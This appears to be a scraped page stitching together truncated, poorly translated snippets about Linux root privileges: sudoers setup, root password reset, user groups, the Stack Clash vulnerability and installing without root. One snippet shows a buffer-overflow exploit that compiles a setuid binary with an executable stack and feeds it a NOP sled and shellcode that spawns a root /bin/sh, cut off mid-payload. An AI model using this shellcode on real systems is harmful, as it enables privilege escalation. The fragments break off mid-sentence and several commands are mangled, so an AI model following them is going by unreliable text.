requires superuser privileges root linux deploy

Problem:Assume that the user name is: AliIf the user name does not have Superuser privileges, when you enter the sudo + command, the system prompts:Ali is isn't in the sudoers file. This incident would be reported.Solve:1. Enter Super User mode. Enter "Su", the system will let you enter the super user password, enter the password and enter the Super User mode.2. Add Write permission to the file.chmod u+w/et

As most people know, Linux has the highest privilege of root account, so it is necessary to prevent root login. 1: Prohibit normal users through Su-switch to Superuser root [Root@localhost ~]# Su-test[Test@localhost ~]$ su-#正常情况

How to forget the root Superuser password in Linux I. Introduction: if you are a new Linux User, this article is very suitable for you. Here we will introduce how to solve the problem if you forget the password of the root Super User.First, restart the computer on which you

user belongs to more than one user group at the same time, the user can switch between groups of users so that they have permissions for the other user groups. After logging in, the user can switch to another user group using the command Newgrp, which is the target user group.For example:$ NEWGRP RootInterpretation:This command switches the current user to the root user group, provided that the root user g

This evening: 19:30 points, this troubled me for a long time to finally solve the problem, the principle is finally clear, in short, the use of sudo to give Apache user root executive authority, the following record: Using PHP to execute a shell script with root privileges must be done in the following steps: (all the steps are my own experiments, if there are i

Original linkLinux, BSD, Solaris, and other open-source systems are susceptible to a local privilege escalation vulnerability, "Stack clash," which can be exploited by attackers to smash Linux defenses and gain root privileges to execute code, according to security vendor Qualys researchers.Qualys that the high-risk vulnerability exists on the stack, bypassing th

In production, sometimes due to security reasons, usually non-Linux administrators are only ordinary users of the account, but sometimes some operations require root permissions, this can be done by sudo, the steps are as follows:A. For example, our average user account name is XUSJ. To edit the configuration file for sudo:Input: VisudoFind root all= (all) all th

Boot into the desktop, ctrl+alt+t open the terminal ———— at this time the terminal is displayedUser name @ Computer Name:-$ represents a normal user Enter here: sudo passwd root This prompt ————[sudo] password for Gutar: Enter your user password to enter a new UNIX password: The new password, and the root password to re-enter the new UNIX password: Repeat input passwd: the password has been successful

user belongs to more than one user group at the same time, the user can switch between groups of users so that they have permissions for the other user groups.After logging in, the user can switch to another user group using the command Newgrp, which is the target user group.For example:$ NEWGRP RootInterpretation:This command switches the current user to the root user group, provided that the root user gr

, and the group identification number of the new group is added 1 on the basis of the currently existing maximum group identification number.Example 2:$ groupadd-g 101 Group2Interpretation:This command adds a new group group2 to the system, specifying that the group identification number for the new group is 101.2. If you want to delete an existing user group, use the Groupdel command.Grammar:Groupdel User GroupExample 1:$ Groupdel group1Interpretation:This command removes the group group1 from

buffer array, then the contents of the buffer array will start executing. We just fill in the buffer array into the shellcode we want to perform, and the attack is perfect.Deductive attackGcc-z execstack-o vulnerableret2reg vulnerableret2reg.cchmod u+s vulnerableret2regsu test./vulnerableret2reg ' perl-e ' Print "\x90" X16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\ x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x

The habit is to install the code under ~/build and then add the executable folder to path:Export path= $HOME/build/bin: $PATHFor the code that uses configure-and make, simply add prefix to modify the installation path:./configure--prefix= $HOME/buildFor code that uses CMake, modify the Cmake_install_prefix variable to modify the installation path:cmake-dcmake_install_prefix= $HOME/buildIn the absence of root privi